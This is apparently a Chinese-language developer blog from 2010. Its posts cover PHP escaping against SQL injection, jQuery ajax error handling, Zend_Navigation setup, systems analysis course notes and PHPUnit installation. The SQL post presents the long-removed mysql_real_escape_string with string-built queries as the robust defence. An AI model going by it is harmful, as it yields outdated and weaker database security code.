PHP
過去都用addslashes,不過還不夠悍,目前都用mysql_real_escape_string
"PHP的mysql_real_escape_string函數會分析哪些字元需要進行處理,而addslashes則單純對所有的單引號(‘),雙引號(“),反斜線(\)和NUL字元加入反斜線。"

用法
// Query
$query = sprintf("SELECT * FROM users WHERE user='%s' AND password='%s'",
mysql_real_escape_string($user),
mysql_real_escape_string($password));


References
PHP防止 SQL Injection: Addslashes還是Mysql_real_escape_string

星期五, 6月 25, 2010

ajax錯誤時,回傳的error message內容

ajax錯誤時,可利用error來handle錯誤處理
從xhr中,可取得回傳的error message
從xhr.status得知錯誤代碼是什麼,也就是http status codes
再針對不同的status做處理囉
jQuery.ajax({
   url: "http://xxx",
   ...
   error:function (xhr, ajaxOptions, thrownError){
     $("body").append(xhr.status);
     $("body").append(xhr.responseText );

    alert(thrownError);
   }    
});

xhr是XMLHttpRequest物件,有以下屬性及方法
  • status
    Returns the HTTP status code.
  • statusText
    Returns the HTTP status text.
  • getResponseHeader() method
  • getAllResponseHeaders() method
  • Response Entity Body
  • responseText attribute
    Returns 就回傳取到的內容囉
  • responseXML attribute

星期二, 6月 22, 2010

耶? blogger有新的版面設計工具了

ya~~ 今天突然發現blogger有新的設計工具
看到可以用slider調框大小 真是令人感動
之前用css調到快起肖了 還一直破版面...

另外css也將系統預計的css隱藏了
只會自己定義的css 不用再從一堆css中找了 ya~~

不過殘念... 舊的版面不能用新的設計工具....
所以只好將網站換個風格...

星期五, 6月 18, 2010

利用Zend_Navigation達到Menu、breadcrumbs及sitemap

主要做法就是在xml裡配置階層結構
步驟就照著reference的範例做
不過有遇到些問題,所以有問題的地方有特別註釋

1.設定Bootstrap.php
protected function _initNavigation()
{
$this->bootstrap('layout');
$layout = $this->getResource('layout');
//$view = $layout->getView(); //加了這行...會導致在layout.phtml呼叫helper會掛...所以..註解掉...
$config = new Zend_Config_Xml(APPLICATION_PATH . '/configs/navigation.xml', 'nav'); //指定要讀取的架構檔,命名為navigation.xml

$container = new Zend_Navigation($config);
Zend_Registry::set("Zend_Navigation", $container); //範例裡沒加,但沒加又跑不動...怪...
//$view->navigation($container); //嗯...也是能動咧...
}

2.編寫階層結構xml
path: application/configs/navigation.xml (xml檔名取命跟Bootstrap裡load的地方一樣)
<?xml version="1.0" encoding="UTF-8"?>
<configdata>
<nav>
<home>
<label>Home</label>
<uri>/</uri>
</home>
<courses>
<label>球場管理</label>
<uri>/courses/</uri>
<pages>
<add>
<label>新增球場</label>
<uri>/courses/add/</uri>
</add>
<edit>
<label>編輯球場</label>
<uri>/courses/edit/</uri>
</edit>
</pages>
</courses>
<about>
<label>關於我們</label>
<uri>/index/about/</uri>
</about>
</nav>
</configdata>

3.設定layout.phtml
<body>
...
<?php echo $this->navigation()->Menu()?>
<?php echo $this->navigation()->breadcrumbs()->setLinkLast(false)->setMinDepth(0)->render(); ?>
...

4.設定Controller
在每個controller的init裡加上以下程式碼
public function init()
{
//navigation
$uri = $this->_request->getPathInfo(); //原作是寫這樣啦,不過遇到有參數的uri就噴了
$uri = $this->_request->getControllerName()."/". $this->_request->getActionName(); //我把比對的uri改成這樣,也不怕最後有沒有斜線結尾

$activeNav = $this->view->navigation()->findByUri(strtolower($uri)); //避免大小寫問題,全轉為小寫
$activeNav->active = true;
//$activeNav->setClass("active"); //uri沒配對到時 會出現error,所以...
}


錯誤訊息
$activeNav->setClass("active");
出現Fatal error: Call to undefined method stdClass::setClass() ...
是因為uri對應失敗,所以無法設定class為active

xml裡放網站根目錄是比較正確的做法
不應該把會變動的前置資料夾放在裡面 ex. project/public
只不過這樣會導致zend_navigation產生的鏈結會從根開始跑 就會找不到位置

比較好的做法應該是該鏈結加上$this->_request->getBaseUrl()."/"
只是不知從哪去改... echo前去改...應該有更好的方法...找到再po上來

另外一個問題是如果... 鏈結需有必要的參數...
就還得要再將參數組成uri...

Reference
Zend_Navigation – creating a menu, a sitemap and breadcrumbs 用錄影的 不錯...

星期六, 6月 05, 2010

系統分析設計與實作 Week 9

Iteration 1
目的:將需求轉實作
=>要求都要配Controller
整合是持續性的在做整合

軟體開發方法
  1. Data-Orented
    易陷入細節,不易抓出圖
  2. Service-Oriented
    延展、彈性、重複利用


測試 unittest
功能性 => Controller
單元性 => Unit test, Business Object

User方面有UAT(User Acceptance Test)使幅者接受度測試

設計資料庫
設計表格
4大類 (人,事(event)/時,地物)
  1. 抓名詞(需求陳述中抓)
    但片斷,不易看到全貌,需求明確,才能完整
  2. 抓核心
    訂烏龜系統=>訂的event
    門禁管理=>刷卡的event (書UML.P148)
    儘可能容變動的需求
需求不再是主導系統的唯一來源
Enterprise => Transaction
Sub query易隱念企業邏輯,反而影響維

Q & A
  1. UML必要畫?
    UML是個語言,語言是用來溝通,所以獨立一個人開發時,基本上不用畫
  2. 交接時?
    需要時再畫,多一張就多需要維護成本
  3. 如何引導客戶提出需求
    客戶分1.Domain Expert可用活動圖(作業流程)或火箭圖
    2.Operator 直接用畫面UI溝通
    流程圖最好能當場畫,讓使用者確認,避免誤解
  4. CURD
    利用actor當授權

系統分析設計與實作 Week 7

烏龜訂購系統
phase 2 萃取穩定的結構共用元素(企業物件)
  1. middle ware
  2. controller
一開始不容易馬上判斷出來,可先放controller,再透過重構方式「逐漸萃取」
ex. 「計算訂購總額」應該放哪
hint: 推理,不要強記
「計算訂購總額」理論上放在訂購object上,但應該抽出到BO(企業物件),當共用的元素
過去,放store_procedure或script都不算好
但一開始要不容易抽,所以折衷先放controller
將來重構放到business object
=>將可共用的企業規則抽出

交易事件
人,(事/時),地,物
  1. 界定範圍
    利用UC,一般抓到5,6成就夠了
    • User Case View
    • Locial View
      -UC Realization
      -Class Model (配合codegen)
    UC都是片斷,有滿足即可,不要流程,至於滿足的程度依"Session"來判斷
  2. 撰寫UC敘述
    把「容易變」的跟「不容易變」的分開
    共用的可抽出來放
    =>產出Document
  3.  
  4. 實現UC (logical view realization)
    用UC Diagram當doc type
    *橋接實作,即建Conroller
  5. 建Controller
    設計可能會漏掉,由實作(feedback)去做調整,補足或修正Controller, UC Description
    隨時都在調,因此文件要少、精簡,過程中都是只是最後文件的snapshot

16.1.3.資訊系統的分層結構
  • 表達層(Presentation):UI
  • 中間層:CO(Control Object)
    DAO: 將DB存取細節放至DAO,任何跟DB有關的存取透過小弟DAO解決
    Adapter:外部系統的鏈結
    軟體主結構即抽出的概念性物件BO
  • 資料層:Database

三大物件
  1. Controller
  2. Boundary
    實體變動
  3. BO
    應付Domain變動,一開始不易抓,先放controller

循序圖不是要表達精細,重點在完成某功能時,反應run time的流程
EA做Sequence Diagram時,拉物件會要選擇"Simple link or Instance", 選instance,因為是物件
隱含的method用加雙斜線 ex.到db抓資料=>//select

不用每個UC都畫Sequence,只畫比較需要的
何謂需要
programmer無法看出必要的method(無共識時)
UI, Controller 應分開獨立的Project

系統結構面
Jobcason將結構分為
控制
實體
邊界
目的:好分類->好維護
結構只對developer有好處(好維護),User只看畫面

---
為何叫物件導向
都是用類別在定義,為何不是類別導向
心中想像的是物件在互動,而利用class描述出來,
ex. 作曲做的是音樂,但是得利用五線譜「作曲」記錄

安裝PHPUnit

phpunit官網:http://www.phpunit.de/

有兩個主要的版本,依php版本決定
  • PHPUnit 3.7 requires PHP 5.3.3
  • PHPUnit 3.8 requires PHP 5.4.7


兩種方法
  1. 直接使用phpunit
    https://github.com/sebastianbergmann/phpunit/

    <php
    include "phth to PHPUnit";
    class StackTest extends PHPUnit_Framework_TestCase
    {
        public function testPushAndPop()
        {
            $stack = array();
            $this->assertEquals(0, count($stack));
     
            array_push($stack, 'foo');
            $this->assertEquals('foo', $stack[count($stack)-1]);
            $this->assertEquals(1, count($stack));
     
            $this->assertEquals('foo', array_pop($stack));
            $this->assertEquals(0, count($stack));
        }
    }
    ?>
  2. 安裝phpunit
    wget https://phar.phpunit.de/phpunit.phar
    chmod +x phpunit.phar
    mv phpunit.phar /usr/local/bin/phpunit
    vi composer.json
    {
    "require-dev": {
    "phpunit/phpunit": "3.7.*"
    }
    }
    composer install
    程式裡加上
    require 'vendor/autoload.php';

其他PHPUnit官網寫很清楚,而且很多觀念教學,真棒